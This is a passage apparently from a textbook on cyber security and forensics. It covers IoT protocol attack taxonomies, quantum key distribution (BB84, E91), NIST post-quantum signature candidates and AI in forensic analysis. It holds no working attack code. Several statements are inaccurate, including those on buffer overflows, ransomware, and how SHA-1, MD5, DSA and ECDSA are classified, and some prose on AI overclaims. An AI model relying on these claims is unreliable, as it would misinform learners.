Spoofing: Is a state in which a person or program successfully 
masquerades as another entity using falsified data. This allows the attacker 
to gain an advantage as a legitimate user.

Buffer Overflow: Is a situation where the memory of a device is exhausted 
by indulging repetitive storage activity on memory space.

Flooding: Is an attack in which the attacker sends continuous synchroni-
zation requests to the targeted system and attempts to consume resources. 
This makes the system unavailable to legitimate users.

Sniffing Attack: Corresponds to capturing of network traffic using some 
packet capturing tools. Using such tools allows the attacker to analyze the 
network and gain information about the traffic.

Pre-shared Key Attack: Keys are usually shared between two parties 
using a secure channel; attacks on these keys through various means come 
under this category.

Denial of Service (DoS): Is an attack where the offender tries to make a 
device or network resources unavailable to the legitimate users.
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Distributed Denial of Service (DDoS): This attack is an effort to make 
device and service unavailable to the user. This attack mainly targets 
websites and online services.

1.4.3.2 Attacks on Transport Layer Protocols 

Transport layer protocols suffer from attacks like flooding, port scan, and 
spoofing attack carried through the application layer. Along with this on 
UPD, breaking security on TLS and DTLS and attacks on SSL through 
XMPP and MQTT protocol are prominent. Security at this level relies on 
IPSec and TLS 1.3, which uses AES security. Figure 1.7 describes more 
about those attacks on each specific protocol.

1.4.3.3 Attacks on Network Layer Protocols

Network layer performs two main tasks, namely, encapsulation and rout-
ing. We have classified attacks according to these functions. Figure 1.8 
explains more about it.

(a) Attacks on Encapsulation Protocols
6LoWPAN is used to allow connectivity between resource-constrained 
devices and the IPv6 network. It acts as an adaption layer that connects 
the network and data link layer—the main task during adaption, header 
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Protocol

Eavesdropping Attack
Replay Attack
Application Layer Attacks
D/DoS Attack
Rogue Devices

Fragmentation Attack
Authentication Attack
Con�dentiality Attack

Selective Forwarding Attack
Sinkhole Attack
Sybil Attack
Hello Flooding Attack
Wormhole Attack
Clone ID Attack
Blackhole Attack
D/DoS Attack
Alteration and Spoo�ng Attack
(Rank Attack, Version Attack, Local
Repair Attack, Neighbor Attack, DIS
Attack)

Encapsulation Routing

IPv4 IPv6 6LowPAN 6Lo 6TiSCH RPL CORPL CARP

Figure 1.8 Attacks on network layer protocols.
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compression and encapsulation. However, 6LoWPAN suffers from the 
below-mentioned attacks [109].

Fragmentation Attack: 6LoWPAN has a fragmentation mechanism that 
facilitates the transmission of IPv6 packets over IEEE 802.15.4. However, 
as this mechanism does not have proper authentication mechanism a frag-
mentation attack can be done.

Authentication Attack: 6LoWPAN network does not have a proper 
authentication mechanism. Because of this reason, any unauthorized 
attack may join the network and get unauthorized access.

Confidentiality Attack: 6LoWPAN, by default, does not have any 
encryption technique. Hence, an attacker may launch attacks like Man in 
the Middle (MITM), eavesdropping and spoofing.

(b) Attacks on Routing Protocols
Jamming Attack: This kind of attack aims to stop the communication 
between node by engaging the communication channels [108]. In this 
attack, the attacker engages communication channel, which creates a delay 
in communication [109].

Selective Forwarding Attack: Is an attack in which a malicious node 
denies to transmit some packets, which results in the disturbance of a 
routing path [110]. This attack can be classified into cases like blackhole 
attack, where malicious node rejects all packets from forwarding [111, 
112].

Sinkhole Attack: In a sinkhole attack, the aim of the malicious node is to 
direct the network traffic to a particular node. Typically, these nodes advo-
cate the use of a particular route in the network and tempt another node to 
utilize this route [110].

Wormhole Attack: This attack uses two malicious nodes and creates a 
direct communication link and uses this link to forward network traffic 
and thus ignores intermediate nodes.

Sybil Attack: In this attack, the malicious nodes create multiple identities 
and mislead other nodes [113].

HELLO Flood Attack: When a node joins a network, a HELLO message 
is used. However, the same message is used by an attacker node to mislead 
another node to identify it as a neighbor.

Traffic Analysis: This is an attack in which advisory captures and analyze 
network packet and aims to gather sensitive information. This attack is 
usually made through traffic analysis software like Wireshark, TCP dump, 
Kismet, Scapy, etc.

Man In The Middle (MITM) Attack: Attacker illegitimately controls the 
communication messages exchanged between the two parties.
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1.4.3.4 Attacks on Link and Physical Layer Protocols 

When we studied the Link and Physical layer protocols many similar 
attacks were found. Figure 1.9 gives a clear idea about various protocols 
available at the link layer and physical layer. Some of the prominent attacks 
on these protocols are:

Eavesdropping: Eavesdropping attack, also known as a sniffing or 
snooping attack. The attacker is supposed to know the topology of the 
network and try to discover the node through which an attack can be 
launched.

Side Channel Attack: To mount this attack, the attacker collects the infor-
mation about the cryptographic operation implemented in the computer 
system. Specifically, the information about the timing, electromagnetic 
emission, power and even heat and sound information can be exploited to 
mount this attack.

Denial of Service: The attacker here attacks the infrastructure and 
disrupts or prolongs its regular activity and prohibits any users from 
accessing the services. The most common aim of a DoS attack is an internet 
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Figure 1.9 Attacks on link and physical layer protocols.
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service like a website. However, this attack can be made on networks or IoT 
devices.

Jamming: Jamming assault is one of the threats to WSNs running over 
IEEE 802.15.4 standard. In such an attack, the jammers that initiate the 
attack can significantly degrade the efficiency of the network by interfer-
ence with transmitting packets or by weakening the signal power. 

Masquerading: A masquerade assault is an attack that uses a false 
identity called spoofing to obtain unauthorized access to personal 
computer information without legal access recognition. If an authorization 
mechanism is not secure, this makes the system highly vulnerable to this 
attack.

Data Corruption: It is a type of ransomware attack in which the data on 
the computer system is attacked for corrupting the records or file.

Packet Crating: Packet crafting is the art of generating a packet 
according to different specifications for carrying out attacks and leveraging 
weaknesses throughout a network. It is primarily used to infiltrate the 
structure of the network. Various vulnerabilities assessment techniques are 
used to render such packets.

Physical Attacks: Physical attacks are deliberate offensive acts which 
attempt to damage, disclose, modify, disable, capture or obtain unauthorized 
access to physical objects. Thus, a physical attack attempt to trace the hole 
through which it can break the system.

1.5 Major Security Issues in Service-Oriented IoT 
Architecture

In the service-oriented IoT architecture, the bottom layer, also known as 
the perception layer, collects data from the physical devices [2]. When the 
data is sensed, it is to be provided to centralized storage through various 
routing paths of heterogeneous and integrated networks. At the same time, 
the topmost layer (the application layer) is dependent on the service layer. 
This layer prevails between the network and the application layer. The ser-
vice layer serves various desired services both to the top and bottom layers. 
Based on this architecture and enabling technologies, the following are sig-
nificant challenges in each layer.

To get a better idea about the security concerns in each layer of the service- 
oriented architecture, we present top security concerns as listed in Table 
1.5.
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1.5.1 Application – Interface Layer

This layer has various applications that involve a discrete set of protocols 
and various service alignment technologies to serve different purposes. 
However, main security issues in these layers are: remote and safe config-
uration of IoT devices, software middle-ware downloading, updating of 
security patches through proper channel, providing a unified security plat-
form that can support a variety of applications. Table 1.6 shows security 
threats and existing security methods to mitigate them. 

Table 1.5 Security issues in each layer of service oriented IoT architecture.

Issues related to 
Application and 

interface layer
Service 

layer
Network 

layer
Sensing 

layer

Security of web 
interface

✓ ✓ ✓ X

Authentication ✓ ✓ ✓ X

Uncertain network 
amenities

X ✓ ✓ X

Weak or no 
encryption 

X ✓ ✓ X

Confidentiality 
and privacy of 
data

X ✓ ✓ ✓

Cloud services ✓ X X X

Mobile services 
interface and

✓ X ✓ ✓

Configuration of 
devices

✓ ✓ ✓ X

Unsecure software 
and firmware

✓ X ✓ X

Devices’ physical 
security 

X X ✓ ✓

✓: Yes, X: No PROOF
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1.5.2 Service Layer

This layer mainly relies on middle-ware and provides IoT to reuse 
hardware and software, which increases cost-effectiveness.  The design 
of this service is usually based on APIs and service protocols. It has 
to provide services like events, ontologies, analytics, service discovery, 
service composition, etc. The security requirements at the service layer 
are:

- Authorization that involves the authentication of service, and 
security of encryption keys.  

- The principal issue in this layer is privacy leakage, as it includes 
monitoring locations, receiving personal and confidential 
data.

- Service mishandling remains a major issue that involves get-
ting access to unsubscribed service or illegal use of service.

- Service information leakage is also among the significant chal-
lenges at this layer.

- There is a need to be aware of and prevent other attacks like 
DoS, replay, routing, node masquerade, and repudiation.

1.5.3 Network Layer

This layer connects the various devices and makes them aware of sur-
rounding nodes. In SOA, this layer aggregates data from existing infra-
structure and then transmit it to layers like sensing and service. But, 
while doing so, there are many security issues. Security and privacy of 

Table 1.6 Major threats in application - interface layer.

Security 
threats

Physical 
security

Access 
control Confidentiality Authentication

Non-
repudiation

Unauthorized 
access

✓ ✓ ✓ ✓ ✓

Failure of 
node

✓ ✓ ✓ ✓ ✓

Masquerading ✓ ✓ ✓ ✓ ✓

Privacy 
leakage

X ✓ ✓ ✓ ✓

✓: Yes, X: No

PROOF



34 Cyber Security and Digital Forensics

sensitive data become crucial as mobility and connectivity come into 
action. Over connectedness means exhausting communication band-
width with authentication message and providing higher security to 
keys; this may affect the quality of service. Other issues like MITM 
attack, false message signaling, and replay attack are of major concern. 
Table 1.7 maps the security threats and main causes of those threats in 
the network layer.

1.5.4 Sensing Layer

This layer comprises end devices, end node, and gateway, which are 
heterogeneous in nature and have to be connected through various 
connecting technologies. This layer also involves a fusion of technol-
ogies like RFIDs, WSN and many other connected devices which send 
and receive continuous data. The primary security concern is that these 
devices are: 

- Physical security as these devices are deployed in a physical 
environment.

- Tampering of these devices can be done easily, so tamper 
detection techniques are required.

Table 1.7 Major threats in network layer.

Security threats
Physical 

security
Transmission 

security 
Over-

connected 
Cross-layer 

working

Privacy leakage ✓ X ✓ X

Confidentiality ✓ ✓ X ✓

Integrity X ✓ ✓ X

DoS X ✓ ✓ X

Public key 
infrastructure

X ✓ ✓ X

Man-in-the-
middle

X ✓  X ✓

Request forgery ✓ ✓ X ✓

✓: Yes, X: No
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- These devices are resource concern, so lightweight cryp-
tographic algorithms are a major need.

- Besides this, device authentication, trust management of 
devices, and routing security are of major concern.

The following Table 1.8 shows the vulnerabilities and the device which 
can be affected through it.

1.6 Conclusion 

This chapter provides a review of security issues and research challenges 
for service-oriented IoT architecture. In the beginning, this chapter pro-
vides an introduction to IoT and presents a summary of IoT’s evolution, 
its security requirements, different components and applications. Further, 
this chapter briefly describes the service-oriented IoT architecture and 
IoT protocol stack. The same subsection contains an in-depth summary of 
the layer-wise protocol involved in different layers. Further, the next sec-
tion investigates and present the anatomy of attacks on Service-Oriented 
IoT architecture. Furthermore, the chapter presents the layer wise-secu-
rity issues. We conclude that the highlighted security issues need to be 
focused on while designating service-oriented IoT architecture- based IoT 
applications.

Table 1.8 Major threats in sensing layer.

Security threats IoT devices IoT nodes IoT gateways

Unauthorized access ✓ X ✓

Selfish nodes ✓ ✓ X

Spoofing attacks X ✓ ✓

Malevolent code X ✓ ✓

Denial of service X ✓ ✓

Communication threats X ✓ X

Attacks on routing process ✓ ✓ X

✓: Yes, X: No
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Abstract
Broadly, Cryptography refers to the passing of secret information from one place 
to another securely so that only intended receivers can decrypt it. Security of the 
modern public key cryptographic algorithms and protocols is mainly dependent 
on the complexity of the factorization of the product of large prime numbers. But 
due to technological developments in the field of computation and evolution of 
new mathematical techniques, the problem of the factorization of the product 
of integers is not complex anymore nowadays. The growing research interests in 
Quantum computing technology is also making the modern public cryptographic 
algorithms unsafe. Researchers have proved that modern cryptographic algo-
rithms such as RSA are breakable using quantum computers in polynomial time 
complexity. Therefore, attempts are being made to design new cryptographic 
algorithms using Quantum Computing techniques. Quantum cryptography is an 
emerging field which works on principles of quantum physics. In this paper, an 
attempt has been made to introduce quantum cryptography, analysis on suprem-
acy of quantum cryptography over modern cryptography, discussion on key dis-
tribution using quantum physics, and implementation challenges in quantum key 
distribution. We have proposed two key verification mechanisms for BB84 pro-
tocol, analysis on quantum attacks on modern cryptographic digital signatures, 
Post-quantum digital signatures and finally discussion on future directions of this 
technology.
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2.1 Introduction

In 1965, Gordon E. Moore observed that every year the density of the tran-
sistors on a microchip doubles. Computational power of the personal com-
puter also doubled every 1.5 years between 1975 and 2009 [1]. However, 
there are many problems which have exponential computational com-
plexity and these cannot be solved in polynomial time by today’s super 
computers. In 1982, physicist Richard Feynman thought about a quantum 
computing. Feynman observed that some problems which have exponen-
tial computational complexity can be solved in polynomial time using the 
quantum phenomena [2]. In 1994, Peter Shor proposed a quantum algo-
rithm and showed that using quantum computer, factorization of product 
of large prime numbers could be done in polynomial time [3]. 

The strength of modern cryptographic systems is based on the com-
plexity of factorization of large integers, the discrete logarithmic problem 
and the irreversible nature of hashing algorithms. Due to the reality of 
quantum computing power, there is a threat to some of the modern cryp-
tographic algorithms and protocols. Any cryptographic system or protocol 
whose strength is based on integer factorization and discrete logarithm 
is vulnerable to quantum attacks. In modern cryptography, efficient and 
secure key distribution is still a challenge. In the quantum scenario, key 
is distributed using the quantum features of a particle. Digital signature 
algorithms such as Digital Signature Algorithm (DSA) and Elliptic curve 
Digital Signature Algorithm (ECDSA) are based on complexity of integer 
factorization; therefore, these signatures are also vulnerable to quantum 
attacks [4–7].

The rest of the paper is organized as follows: in section 2.2: security of 
present cryptographic systems is analyzed in quantum scenario; in section 
2.3, analysis of key distribution in present cryptographic system and quan-
tum system is given; in section 2.4, post-quantum digital signatures are pre-
sented. Finally in section 2.5, the conclusion and future directions are given. 

2.2 Security of Modern Cryptographic Systems

Modern cryptographic systems are broadly divided into two categories: 
1) Asymmetric key cryptographic systems, and 2) Symmetric key cryp-
tographic systems. 

Asymmetric key Cryptography: In asymmetric key cryptographic sys-
tems, two cryptographic keys are used; out of these two keys, one is used 
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for encryption and another for decryption. Both keys are mathematically 
inverse of each other; when plaintext is encrypted by one key then corre-
sponding cipher text is decrypted using the second key. Encryption key is 
called Public key, which is made available publicly. Decryption key is called 
Private key and the owner of this key keeps this key secretly. Strength of 
asymmetric cryptographic systems is directly proportional to the complex-
ity of integer factorization and discrete logarithmic problem. Some well-
known asymmetric algorithms are RSA, DH, DSA, ECDH, ECDSA [8, 9].

Symmetric key Cryptography: In symmetric key cryptographic sys-
tems, the same key is used for encryption and decryption. In symmetric 
key cryptographic systems, distribution of the common key is a challenge. 
AES, DES, 3-DES, SHA-1, MD5, SHA-256, etc., are some variants of sym-
metric cryptographic systems [9, 10].

The major breakthrough in the field of quantum computing is the devel-
opment of Shor’s algorithm for integer factorization and Grover’s algorithm 
for searching of an element from a large dataset [3, 11]. However, there is 
no uniform mechanism to design the quantum algorithms. Considering it, 
this is the view of researchers that not all modern cryptographic algorithms 
are under the threat of quantum computing. Other than Grover’s search-
ing algorithm, no quantum algorithm exists which can be considered as a 
threat to the symmetric cryptographic systems. Hashing algorithms such 
as SHA-1, MD5 are considered weak against the quantum attacks, since 
Grover quantum search algorithm could be used to get hash collisions 
faster. However, algorithms with 256 bit hash outputs or more are consid-
ered safe. Symmetric algorithms such as AES with key length of 256 bits 
are considered safe against the quantum attacks. Therefore, it is the belief of 
researchers that Symmetric key algorithms and its variations are in the safe 
state and quantum computing is not a threat to these cryptosystems. But it 
is not denied that there will be a quantum threat in the near future to these 
symmetric crypto systems [12–15]. Comparison of security level of various 
cryptographic systems is given in Table 2.1.

2.2.1 Classical and Quantum Factoring of A Large Number

Recently (February 2020), RSA-250 number (250 decimal digits/829 
binary digits) has been factored successfully by Boudot et al. [16]. To 
factor this number, Grid 500 (experimental testbed, France) computing 
resource [17] with Field Sieve algorithm and CADO-NFS software were 
used. Total computation time on Gold 6130 CPUs (2.1GHz) was roughly 
2700 core-years. 
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To the date, best complexity of field sieve (GNFS) algorithm, for a deci-
mal number N, is in asymptotic order of
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With this computing power, it is estimated that to factor a number of 
1000 digits, it would require much longer than the age of the universe. 
Therefore, it is not feasible to crack the RSA-1000 with present computing 
power.

In 1994, Peter Shor proposed a quantum algorithm which can factor 
an integer N by utilizing the quantum gates in order of ((log N)2 (log log 
N)(log log log N)). This is a probabilistic polynomial time algorithm with 
maximum error probability of 1/3. As modern public cryptographic sys-
tems such as RSA-1000 are using the hardness of integer factorization for 
security, therefore these public cryptographic algorithms are not secure 
after practical implementation of Shor algorithm [3]. 

Elliptic Curve Cryptography (ECC) is a family of Public key cryp-
tographic system. At equivalent security level, ECC uses smaller key length 

Table 2.1 Security level of cryptographic systems.

Public crypto scheme

Equivalent 
symmetric 
key length 
(in classical 
computing 
scenario)

Quantum 
security

Equivalent 
symmetric 
key length 
(in Quantum 
computing 
scenario)

RSA-1024 80 Not secure 0

ECC-256 128 Not secure 0

AES-256 256 Secure 128

3-DES-112 112 Not secure 56

SHA-256 256 Secure 85 (Grover’s 
algorithm 
with birthday 
paradox)

DSA, ECDSA, ECDH Secure Not secure 0
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compared to RSA crypto system. Due to Shor’s algorithm, ECC is also not 
secure in quantum computing environment. To break the ECC security of 
size N, total number of required logical qubits is 6N [18]. 

2.2.2 Classical and Quantum Search of An Item

Average complexity of searching an element in a classical bit space of n bits 
is 2n−1 and worst case complexity is 2n. In present classical computing sce-
nario, classical bit space of 80 bits can be considered as a safe key space. But 
in quantum computing scenario, 80 bits key space cannot be considered a 
safe key space.

So far no quantum algorithm exists to break the symmetric cryptographic 
systems. However, Grover’s Quantum algorithm reduces the security level 
of symmetric cryptographic systems. By using Grover’s algorithm symmet-
ric key space can be reduced to 2n/2 from 2n [11]. Therefore, to maintain the 
same level of security, double symmetric key length is required in quantum 
computing environment. It is also concluded that quantum computing is 
not a threat to symmetric key cryptographic systems [12].

2.3 Quantum Key Distribution

The Diffie-Hellman key exchange protocol of modern cryptographic sys-
tems provides the opportunity to arrive at a common key by exchanging 
texts over insecure medium without meeting in advance. Security of Diffie-
Hellman key exchange is dependent on discrete logarithmic problem [19]. 
Using quantum Shor algorithm, discrete logarithmic problem is solvable in 
polynomial time complexity; therefore Diffie-Hellman key exchange pro-
tocol is under the threat of quantum attack. 

In 1984, Bennett, F. Bessette [20] proposed a Quantum Key Distribution 
(QKD) protocol which is based on Heisenberg’s Uncertainty Principle in 
quantum physics. Heisenberg’s Uncertainty Principle states that it is not 
possible to measure the momentum and position of a quantum particle 
with absolute precision [21]. To leverage this principle, quantum cryptog-
raphy uses the photon particles on different bases. Heisenberg’s principle 
cannot be circumvented due to non-cloning feature of quantum state. 
Non-cloning theorem states that it is impossible to make the identical 
copies of any quantum state. Recently (June 2020), an article on advances 
in quantum cryptology was accepted in the Journal of Advances in Optics 
and Photonics [22]. In the article, the authors analysed the satellite chal-
lenges for quantum communication, device independence challenges, key 
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distribution challenges, etc., and discussed the limitations associated with 
quantum repeaters and networks. 

2.3.1 BB84 Protocol

In BB84 quantum key distribution protocol [20] bits 0 and 1 are encoded 
in the state of polarized photon. At the sender’s end transmitted photon 
is polarised in one of the four states namely horizontal (0 degree polar-
ization), vertical (90 degree polarization), diagonal (45 degree polariza-
tion) and anti-diagonal (135 degree polarization) state. For the purpose of 
encoding, horizontal and diagonal polarisation of photon represents the 
bit 0 and, vertical and ant-diagonal polarisation represents the bit 1. At 
receiver end, to measure the state of the photon, photon detector with two 
basis (rectilinear and diagonal) is used. Rectilinear basis detects photon at 
0 degree and 90 degree polarization. Diagonal basis detects photon at 45 
degree and 135 degree polarization. Receiver measures the state of photon 
at one of the two basis randomly [23]. 

Let Alice transmit a sequence of photons randomly in one of the four 
polarized states. Alice selects the polarized state randomly, hence the 
probability of photon being in a particular state is 25%. Bob uses photon 
detector with two bases, namely rectilinear and diagonal. He chooses basis 
randomly, therefore in 50% cases, Bob is able to measure the state of pola-
rised photon correctly. After transmission phase is over, Bob shares the 
sequences of used bases to Alice through classical or insecure channel. 
Alice informs Bob which bases he used correctly and subsequently Alice 
and Bob both discard the bits corresponding to photons which were mea-
sured by Bob at different bases. The remaining bit stream is the key [24]. 
Steps of quantum key distribution are illustrated in Figure 2.1.

It is also necessary to ensure that there was no eavesdropper or mea-
surement error during the key exchange. If there is any transmission 
error or eavesdropper measures the state of any photon during the trans-
mission then the key owned by Alice will be different from the key owned 
by Bob. If Eve measures the state of photons then due to Heisenberg’s 
Uncertainty Principle momentum of the photon will be changed. 
Therefore, Bob will read the bits incorrectly 50% of the time and approx-
imately 25% bit sequence of Bob will differ from bit sequence of Alice. 
To verify the correctness of bit stream, Bob can share a few random bits 
of key to Alice; if shared random bits are correct then it indicates that 
no eavesdropper was present during the transmission. Hence, Alice and 
Bob both discard the shared bits and the remaining bit stream is the final 
secret key [12].
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2.3.1.1 Proposed Key Verification Phase for BB84

We are proposing two mechanisms for verification of final key in BB84 
protocol. 

(a)A universal statement or a set of few universal statements 
can be encrypted using the final secret key; if both parties 
are able to decrypt the cipher of opposite party correctly 
then no error occurred and no eavesdropper was present 
during the formation of key. 

(b)In second verification mechanism, Bob takes the hash of 
final key, encrypts the hash with final key and sends the 
encrypted hash to Alice. If computed hash at Alice’s end 
matches with received hash from Bob then it is confirmed 
that no eavesdropper was present during the formation of 
key, and Alice passes the message to Bob regarding the cor-
rectness of key through insecure channel.

2.3.2 E91 Protocol

In 1991, Artur Eckert [25] proposed an Entanglement-based quantum key 
distribution protocol. In this protocol, source releases a pair of entangled 
photons and from this entangled pair, one particle is received by Alice 
and another is received by Bob. Alice and Bob both use random basis 
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Figure 2.1 BB84 key exchange protocol.
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for measurement of photon and discuss the used basis through classical 
channel. If both use the same basis for measurement then they will get the 
opposite result. To check the presence of an eavesdropper, Alice and Bob 
can check the Bell’s inequality. If Bell’s inequality principle does not hold 
then it indicates that photons are truly entangled and no eavesdropper is 
present. Detailed steps of the protocol are given in Figure 2.2.

Let Alice use 0° and 45° polarization to represent bit 0, and 90° and 135° 
to represent bit 1 then Bob gets the same key if he uses 0° and 45° polar-
ization to represent bit 1, and 90° and 135° to represent bit 0. This result is 
achieved only if entangled state |ψ> is used. Entangled state |ψ> is repre-
sented as follows:

 
| 1

2
|0 |0 |1 |1A B A B( )ψ > = > > − > >  (2.1)

If diagonal bases are passed to receivers then |ψ> will be

 
| 1

2 2
|1 |1 |0 |0A B A B( )ψ > = > > − > >  (2.2)

2.3.3 Practical Challenges of Quantum Key Distribution

Quantum key distribution is unconditionally secure because no assump-
tions are made regarding the capability of Eavesdropper. It is assumed that 
Eve has best resources and computing power to guess the key but due to 
law of mechanics, he is not able to deduce the key. However, man-in-the-
middle attack cannot be denied in QKD. Eve can pretend to be Alice to 
Bob and at the same time can pretend to be Bob to Alice [26]. To prevent 
the man-in-the-middle attack, authentication of each other is the only 
way. Another challenge of QKD is to set up an error-free key distributing 

Alice

Classical Channel

Eve Bob

Figure 2.2 E91 key exchange protocol.
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environment. If measurements of Alice and Bob are not matching with 
each other then there is no way to decide whether mismatch occurred due 
to the presence of Eve or noisy and imperfect equipments. 

In 2010, Lydersen et al. [27] proved that in principle BB84 protocol is 
unconditionally secure but secret key can be deduced if hardware imple-
mentation is faulty. Authors blinded the avalanche photodiode-based 
detector and successfully inspected the secret key without the notice 
of receiver. Therefore, exchange of key is not secure if equipment is 
imperfect. 

Other challenges in QKD includes high quantum bit error rate, Photon 
Number Splitting (PNS) attack, etc.

These are Photon Number Splitting (PNS) attack launched by an 
eavesdropper, high Qubit Error Rate, and low Raw Key Efficiency. In 
Photon Number Splitting (PNS) attack, Eve split the photon and can 
keep extra photon with him. Eve can measure the stored photon at cho-
sen basis and can deduce the key. To protect against the PNS attack, 
there are variations of BB84 such as SARG04 who are resilient against 
the PNS attack [26].

2.3.4 Multi-Party Quantum Key Agreement Protocol 

In Quantum key distribution, a party generates the bits of key and transfers 
to the other party using the quantum channel [20]. In QKD, there is an influ-
ence of single party in formation of secret key. But in case of key agreement 
protocol, two or more parties influence the quantum key. For the first time, 
in 2010, Zhou, et al. [28] proposed the idea of quantum key agreement pro-
tocol for two parties. The later idea of two-party key agreement was extended 
for multi-parties and to date, various multi-party quantum key agreement 
protocols have been proposed [29–32].

2.4 Post-Quantum Digital Signature

Digital Signature schemes such as DSA and ECDSA are built on the hard-
ness of integer factorization and discrete logarithmic problems; therefore, 
these are under threat of quantum computing. The goal of post-quantum 
cryptography is to design quantum attack resistant encryption, key man-
agement and signature schemes.  In December 2016, the National Institute 
of Standards and Technology (NIST) called for proposals for short-listing 
of quantum resistant encryption, key management and signature schemes 
and their standardization. Out of 69 complete proposals received, 26 
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proposals (which included 9 quantum digital signature proposals) were 
short-listed for the second round [33]. Details of short-listed digital signa-
ture schemes for the second round is given in Table 2.2. 

On 22 July 2020, NIST announced the result of the second-round candi-
dates. Seven candidates moved to the third round [37]. Details of finalists 
for round three is given in Table 2.3.

2.4.1 Signatures Based on Lattice Techniques

These signature schemes are constructed based on the hardness of lat-
tice problems like hardness of decisional ring learning with error, or 
those based on finding shortest vectors in lattices. Falcon, DILITHIUM 
and qTesla were the NIST round two candidates belonging to this cat-
egory [34]. Now Falcon and DILITHIUM are the finalists for round 
three [37].

Table 2.2 Round two candidates.

Signature category Signature schemes

Lattice 1. CRYSTALS-DILITHIUM
2. FALCON
3. qTESLA

Multivariate Quadratic 4. GeMSS
5. LUOV
6. MQDSS
7. Rainbow

Hash-based 8. SPHINCS+
9. Picnic

Table 2.3 Round three candidates.

Public key encryption/key 
Encapsulation Mechanisms (KEMs) Signature schemes

1. Classic McEliece
2. Crystals-Kyber
3. NTRU
4. SABER

1. CRYSTALS-DILITHIUM
2. FALCON
3. Rainbow
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2.4.2 Signatures Based on Multivariate Quadratic Techniques

The fundamental hard problem in the Multivariate Quadratic (MQ) domain 
is the NP-completeness of the MQ-problem. This problem does not yet have 
a poly-time quantum algorithm. The problem instance comprises a system 
of quadratic equations in many variables and the challenge is to find one 
solution to the system. The Unbalanced Oil-Vinegar (UOV) and Hidden 
Field Equations (HFE) are two basic paradigms. There were four MQ-based 
signatures in the NIST round two, namely, Rainbow, GeMSS, LUOV and 
MQDSS. The signature scheme MQDSS is based on rewinding techniques 
[35]. Now Rainbow is the only finalist for round three in this category.

2.4.3 Hash-Based Signature Techniques

These signatures use classical techniques for their construction. SPHINCS+ 
and Picnic were two signature schemes in the NIST round two list which 
fall in this category. From this category, no signature scheme qualified for 
round three. Picnic uses the ciphertext-plaintext pair under a block cipher 
as the public key and the secret key used in the encryption as the corre-
sponding secret key for the signature. A zero knowledge proof of knowl-
edge binds the secret key and the message [36].

2.5 Conclusion and Future Directions

In today’s world, Information & Communication Technologies play a 
major role in every field of life. Without proper security of present cryp-
tographic systems, no one can imagine the online transactions, Defence 
& satellite communication, e-Governance services, etc. Present cryp-
tographic algorithms and protocols such as RSA, DSA, DH, ECDSA, 
ECDH are under threat of Quantum computing. To protect the collapse of 
present cryptographic systems, there is a need to develop quantum resistant 
cryptographic algorithms, protocols and signatures such as BB84 key dis-
tribution protocol, E91 key distribution protocol, lattice-based signature, 
Multivariate Quadratic signature, Hash-based signature, etc. The major 
challenge in post-quantum cryptography is the practical implementation 
of quantum protocols and quantum signatures algorithms. To provide the 
stable post-quantum cryptographic systems, there is a need of extensive 
research and development of efficient quantum computing devices, quan-
tum sensors and quantum equipments. 
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Abstract 
Constant growth in crime rates instigates computational resources for exam-
ination at a robust rate. Whatever data being examined with the help of foren-
sic tools needs to be stored in the digital memory. Hence artificial intelligence is 
the upcoming machine learning technology which is comprehensive for human 
minds and provides capacity of digital storage media which can be accessed when 
in need. The purpose of our current research is to have broader understanding 
about the applicability of Artificial Intelligence (AI) along with computational 
logic tools analysis. The present artificial neural network helps in detection of 
criminals through comparison of faces by employing deep learning which offers 
neural networks. Thus our paper focus on the computational forensic approaches 
built with AI applications to detect and predict possible future crimes. Several 
in-built algorithms control and create a model image in a camera which can be 
utilized in forensic casework to solve cases robustly. 

Keywords: Artificial intelligence, computational logic tools, artefacts sensor, 
algorithms, digital memory, forensic tools, deep learning
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3.1 Introduction

In the present era, artificial intelligence is materializing as the utmost 
vital science in all facets of life. Similarly, forensic science is also being 
acknowledged due to the advancement in machine learning, deep 
learning and natural language processing of science. Today, our coun-
try is mostly digitalized because of the impact of AI technology [1]. 
Revolution in Information Technology and progression in telecommu-
nications with the help of the Internet especially has been found to 
benefit forensic examination along with preservation of information 
related to crime and further analysis of those evidences when necessary 
[2, 3]. 

The AI-influenced artificial neural networks (ANN) are employed 
in forensic science analysis for predicting crimes. In forensic science for 
analysis of an offence the application of ANNs provides precision, prac-
ticed faster even with small volume of sample [4, 5]. The implementa-
tion of ANNs is the most widely highlighted technology in the forensic 
research domain [6]. Figure 3.1 depicts the progression of Artificial Neural 
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Figure 3.1 Artificial neural network works as patterns in predicting information.
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Networks in detection of patterns for personal identification through deep 
learning processing. The biological neural network of signalling pattern 
begins from dendrites, where it receives its input messages and starts its 
processing/predicting the hidden patterns inside the brain and finally 
outputs through the synapses. However, the same networking system is 
employed by artificial intelligence which has been regarded as “Intelligence 
agents” which is very identical to and even more knowledgeable than the 
human brain [7].

Computerized Forensics science is a subdivision of criminology 
which deals with the recognition, execution, maintenance, scrutiny 
and organization of the evidence matter in digitalized systems, which 
is generally regarded as an automatic data processing system. Precisely, 
our major focus in this review article is the employment of AI-built 
digital devices for evidence analysis during the crime scene which has 
been built with Answer Set Programming (ASP) which decodes through 
computational logic paradigm [8–11]. Hence, harmonious exploration 
of AI devices in forensic analysis helped to solve corruption at a robust 
rate. 

3.2 Digital Forensic Analysis Knowledge

It is evident that medical inspection with digital devices can help in the 
speedy gathering of proofs to solve cases. For instance, in reports of cyber-
café where we find similar IP address in all the systems utilized. However, 
the same applies in the case of fraud involving companies which also have 
many digital devices and users. Computerized forensic analysis examines 
the wrongdoing by software tools such as Encase, forensic tool kits (FTK) 
which is a guidance software for reasoning and reporting corruption [12, 
13]. Hence, in the field of criminology/forensic science the application of 
deep learning process have provided more cognitive information to predict 
even the future happenings of corruption at a very rapid rate. Therefore, 
the artificial intelligence technology usage in cyber forensics led to fram-
ing of deep learning cognitive computing (DLCF) for solving the problems 
related to crime. (Shown in Figure 3.2).

3.3 Answer Set Programming in Digital Investigations

Digital Forensics (DF) is that domain of science specifically dealing 
with corruption and it provides accurate information for identification, 
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preservation, extraction and finally decision which highlights the relevant 
documents by answering all the required queries laid during the investi-
gation phases. The computer is programmed with polynomial hierarchy 
with answer set programming paradigm via interference engine or ASP 
problem solver [14, 15]. This ASP is built with respect to vital languages 
and has the ability to easily read, edit the text file with ASP rules along 
with analysis of huge data at a faster rate. However, at present the enhanc-
ing artificial intelligence technology with natural language processing plus 
answer set programming can synergistically uplift this machinery applica-
tion in forensic science.

In order to solve the crime the matrix has to be constructed which is 
the probable path that exists for detection of commitment of the offense 
and is further predicted with the help of ASP software. Inside the matrix 
the neglected cells are presumed to have a number 0 and here we have 
employed ‘clingo’ solver.

